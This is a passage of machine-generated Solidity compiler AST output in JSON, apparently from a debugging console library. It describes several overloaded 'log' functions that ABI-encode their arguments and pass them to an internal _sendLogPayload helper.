memory"}],"expression":{"id":26376,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"23680:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26377,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"23684:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"23680:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26383,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23680:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26375,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"23664:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26384,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23664:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26385,"nodeType":"ExpressionStatement","src":"23664:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"23576:3:15","parameters":{"id":26373,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26366,"mutability":"mutable","name":"p0","nameLocation":"23588:2:15","nodeType":"VariableDeclaration","scope":26387,"src":"23580:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26365,"name":"uint256","nodeType":"ElementaryTypeName","src":"23580:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26368,"mutability":"mutable","name":"p1","nameLocation":"23606:2:15","nodeType":"VariableDeclaration","scope":26387,"src":"23592:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26367,"name":"string","nodeType":"ElementaryTypeName","src":"23592:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26370,"mutability":"mutable","name":"p2","nameLocation":"23618:2:15","nodeType":"VariableDeclaration","scope":26387,"src":"23610:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26369,"name":"uint256","nodeType":"ElementaryTypeName","src":"23610:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26372,"mutability":"mutable","name":"p3","nameLocation":"23636:2:15","nodeType":"VariableDeclaration","scope":26387,"src":"23622:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26371,"name":"string","nodeType":"ElementaryTypeName","src":"23622:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"23579:60:15"},"returnParameters":{"id":26374,"nodeType":"ParameterList","parameters":[],"src":"23654:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26410,"nodeType":"FunctionDefinition","src":"23771:187:15","nodes":[],"body":{"id":26409,"nodeType":"Block","src":"23849:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c75696e743235362c626f6f6c29","id":26401,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23899:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_691a8f74cbf1a313fd1bdfd5dda19feaf4f9deac56f7ca7c4fa6386e5382a03c","typeString":"literal_string \"log(uint256,string,uint256,bool)\""},"value":"log(uint256,string,uint256,bool)"},{"id":26402,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26389,"src":"23935:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26403,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26391,"src":"23939:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26404,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26393,"src":"23943:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26405,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26395,"src":"23947:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_691a8f74cbf1a313fd1bdfd5dda19feaf4f9deac56f7ca7c4fa6386e5382a03c","typeString":"literal_string \"log(uint256,string,uint256,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":26399,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"23875:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26400,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"23879:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"23875:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26406,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23875:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26398,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"23859:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26407,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23859:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26408,"nodeType":"ExpressionStatement","src":"23859:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"23780:3:15","parameters":{"id":26396,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26389,"mutability":"mutable","name":"p0","nameLocation":"23792:2:15","nodeType":"VariableDeclaration","scope":26410,"src":"23784:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26388,"name":"uint256","nodeType":"ElementaryTypeName","src":"23784:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26391,"mutability":"mutable","name":"p1","nameLocation":"23810:2:15","nodeType":"VariableDeclaration","scope":26410,"src":"23796:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26390,"name":"string","nodeType":"ElementaryTypeName","src":"23796:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26393,"mutability":"mutable","name":"p2","nameLocation":"23822:2:15","nodeType":"VariableDeclaration","scope":26410,"src":"23814:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26392,"name":"uint256","nodeType":"ElementaryTypeName","src":"23814:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26395,"mutability":"mutable","name":"p3","nameLocation":"23831:2:15","nodeType":"VariableDeclaration","scope":26410,"src":"23826:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26394,"name":"bool","nodeType":"ElementaryTypeName","src":"23826:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"23783:51:15"},"returnParameters":{"id":26397,"nodeType":"ParameterList","parameters":[],"src":"23849:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26433,"nodeType":"FunctionDefinition","src":"23964:193:15","nodes":[],"body":{"id":26432,"nodeType":"Block","src":"24045:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c75696e743235362c6164647265737329","id":26424,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"24095:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_3b2279b4b3c26cbcd4374acce75e4c447a59a65883d849a72eaa051b3a07ec08","typeString":"literal_string \"log(uint256,string,uint256,address)\""},"value":"log(uint256,string,uint256,address)"},{"id":26425,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26412,"src":"24134:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26426,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26414,"src":"24138:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26427,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26416,"src":"24142:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26428,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26418,"src":"24146:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3b2279b4b3c26cbcd4374acce75e4c447a59a65883d849a72eaa051b3a07ec08","typeString":"literal_string \"log(uint256,string,uint256,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":26422,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"24071:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26423,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"24075:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"24071:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26429,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24071:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26421,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"24055:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26430,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24055:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26431,"nodeType":"ExpressionStatement","src":"24055:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"23973:3:15","parameters":{"id":26419,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26412,"mutability":"mutable","name":"p0","nameLocation":"23985:2:15","nodeType":"VariableDeclaration","scope":26433,"src":"23977:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26411,"name":"uint256","nodeType":"ElementaryTypeName","src":"23977:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26414,"mutability":"mutable","name":"p1","nameLocation":"24003:2:15","nodeType":"VariableDeclaration","scope":26433,"src":"23989:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26413,"name":"string","nodeType":"ElementaryTypeName","src":"23989:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26416,"mutability":"mutable","name":"p2","nameLocation":"24015:2:15","nodeType":"VariableDeclaration","scope":26433,"src":"24007:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26415,"name":"uint256","nodeType":"ElementaryTypeName","src":"24007:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26418,"mutability":"mutable","name":"p3","nameLocation":"24027:2:15","nodeType":"VariableDeclaration","scope":26433,"src":"24019:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26417,"name":"address","nodeType":"ElementaryTypeName","src":"24019:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"23976:54:15"},"returnParameters":{"id":26420,"nodeType":"ParameterList","parameters":[],"src":"24045:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26456,"nodeType":"FunctionDefinition","src":"24163:198:15","nodes":[],"body":{"id":26455,"nodeType":"Block","src":"24250:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c737472696e672c75696e7432353629","id":26447,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"24300:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_b028c9bd0105e32bab3e2b1b4678f4cd49b1f267c4fcb1899043ad16b67c3dd1","typeString":"literal_string \"log(uint256,string,string,uint256)\""},"value":"log(uint256,string,string,uint256)"},{"id":26448,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26435,"src":"24338:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26449,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26437,"src":"24342:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26450,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26439,"src":"24346:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26451,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26441,"src":"24350:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b028c9bd0105e32bab3e2b1b4678f4cd49b1f267c4fcb1899043ad16b67c3dd1","typeString":"literal_string \"log(uint256,string,string,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":26445,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"24276:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26446,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"24280:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"24276:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26452,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24276:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26444,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"24260:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26453,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24260:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26454,"nodeType":"ExpressionStatement","src":"24260:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"24172:3:15","parameters":{"id":26442,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26435,"mutability":"mutable","name":"p0","nameLocation":"24184:2:15","nodeType":"VariableDeclaration","scope":26456,"src":"24176:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26434,"name":"uint256","nodeType":"ElementaryTypeName","src":"24176:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26437,"mutability":"mutable","name":"p1","nameLocation":"24202:2:15","nodeType":"VariableDeclaration","scope":26456,"src":"24188:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26436,"name":"string","nodeType":"ElementaryTypeName","src":"24188:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26439,"mutability":"mutable","name":"p2","nameLocation":"24220:2:15","nodeType":"VariableDeclaration","scope":26456,"src":"24206:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26438,"name":"string","nodeType":"ElementaryTypeName","src":"24206:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26441,"mutability":"mutable","name":"p3","nameLocation":"24232:2:15","nodeType":"VariableDeclaration","scope":26456,"src":"24224:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26440,"name":"uint256","nodeType":"ElementaryTypeName","src":"24224:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"24175:60:15"},"returnParameters":{"id":26443,"nodeType":"ParameterList","parameters":[],"src":"24250:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26479,"nodeType":"FunctionDefinition","src":"24367:203:15","nodes":[],"body":{"id":26478,"nodeType":"Block","src":"24460:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c737472696e672c737472696e6729","id":26470,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"24510:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_21ad06836085541851abea445814b5a1baf9d3be52c1169a6570c83010dbea5a","typeString":"literal_string \"log(uint256,string,string,string)\""},"value":"log(uint256,string,string,string)"},{"id":26471,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26458,"src":"24547:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26472,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26460,"src":"24551:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26473,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26462,"src":"24555:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26474,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26464,"src":"24559:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_21ad06836085541851abea445814b5a1baf9d3be52c1169a6570c83010dbea5a","typeString":"literal_string \"log(uint256,string,string,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":26468,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"24486:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26469,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"24490:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"24486:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26475,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24486:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26467,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"24470:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26476,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24470:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26477,"nodeType":"ExpressionStatement","src":"24470:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"24376:3:15","parameters":{"id":26465,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26458,"mutability":"mutable","name":"p0","nameLocation":"24388:2:15","nodeType":"VariableDeclaration","scope":26479,"src":"24380:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26457,"name":"uint256","nodeType":"ElementaryTypeName","src":"24380:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26460,"mutability":"mutable","name":"p1","nameLocation":"24406:2:15","nodeType":"VariableDeclaration","scope":26479,"src":"24392:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26459,"name":"string","nodeType":"ElementaryTypeName","src":"24392:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26462,"mutability":"mutable","name":"p2","nameLocation":"24424:2:15","nodeType":"VariableDeclaration","scope":26479,"src":"24410:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26461,"name":"string","nodeType":"ElementaryTypeName","src":"24410:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26464,"mutability":"mutable","name":"p3","nameLocation":"24442:2:15","nodeType":"VariableDeclaration","scope":26479,"src":"24428:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26463,"name":"string","nodeType":"ElementaryTypeName","src":"24428:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"24379:66:15"},"returnParameters":{"id":26466,"nodeType":"ParameterList","parameters":[],"src":"24460:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26502,"nodeType":"FunctionDefinition","src":"24576:192:15","nodes":[],"body":{"id":26501,"nodeType":"Block","src":"24660:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c737472696e672c626f6f6c29","id":26493,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"24710:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_b3a6b6bdf3265665181b9a9ab1338c75ebc293704c96a9a669654a5ba9f6d3e9","typeString":"literal_string \"log(uint256,string,string,bool)\""},"value":"log(uint256,string,string,bool)"},{"id":26494,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26481,"src":"24745:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26495,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26483,"src":"24749:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26496,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26485,"src":"24753:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26497,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26487,"src":"24757:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b3a6b6bdf3265665181b9a9ab1338c75ebc293704c96a9a669654a5ba9f6d3e9","typeString":"literal_string \"log(uint256,string,string,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":26491,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"24686:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26492,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"24690:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"24686:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26498,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24686:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26490,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"24670:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26499,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24670:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26500,"nodeType":"ExpressionStatement","src":"24670:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"24585:3:15","parameters":{"id":26488,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26481,"mutability":"mutable","name":"p0","nameLocation":"24597:2:15","nodeType":"VariableDeclaration","scope":26502,"src":"24589:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26480,"name":"uint256","nodeType":"ElementaryTypeName","src":"24589:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26483,"mutability":"mutable","name":"p1","nameLocation":"24615:2:15","nodeType":"VariableDeclaration","scope":265